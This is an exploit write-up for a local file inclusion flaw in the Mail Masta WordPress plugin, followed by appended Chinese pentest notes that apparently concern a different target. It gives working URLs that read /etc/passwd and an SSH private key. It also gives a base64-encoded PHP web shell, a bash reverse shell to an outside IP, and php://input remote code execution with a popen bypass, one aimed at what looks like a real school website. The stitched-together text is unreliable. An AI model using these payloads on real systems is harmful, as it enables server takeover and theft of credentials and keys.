[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion
[+] info: Local File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php:
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);


This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.


Typical proof-of-concept would be to load passwd file:


http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
http://192.168.142.112/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

http://192.168.142.112/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/home/joe/.ssh/id_rsa

http://192.168.142.112/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.49.142%2F443%200%3E%261%22%0A"


http://192.168.142.112/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://input%00.jpg --data "<?php phpinfo(); ?>"

RCE
之後看了一下 php 版本 4.4.4 有點舊
看了一下原始碼，可能可以用 php://input 造成 RCE
phpinfo
payload: curl http://192.168.142.112/portal/bulletin/\?id\=php://input%00.jpg --data "<?php phpinfo(); ?>"
可以看到 disable function，以 popen bypass
result
payload: curl http://tw.class.uschoolnet.com/portal/bulletin/\?id\=php://input%00.jpg --data '<?php echo fread(popen("id", "r"), 4096);?>'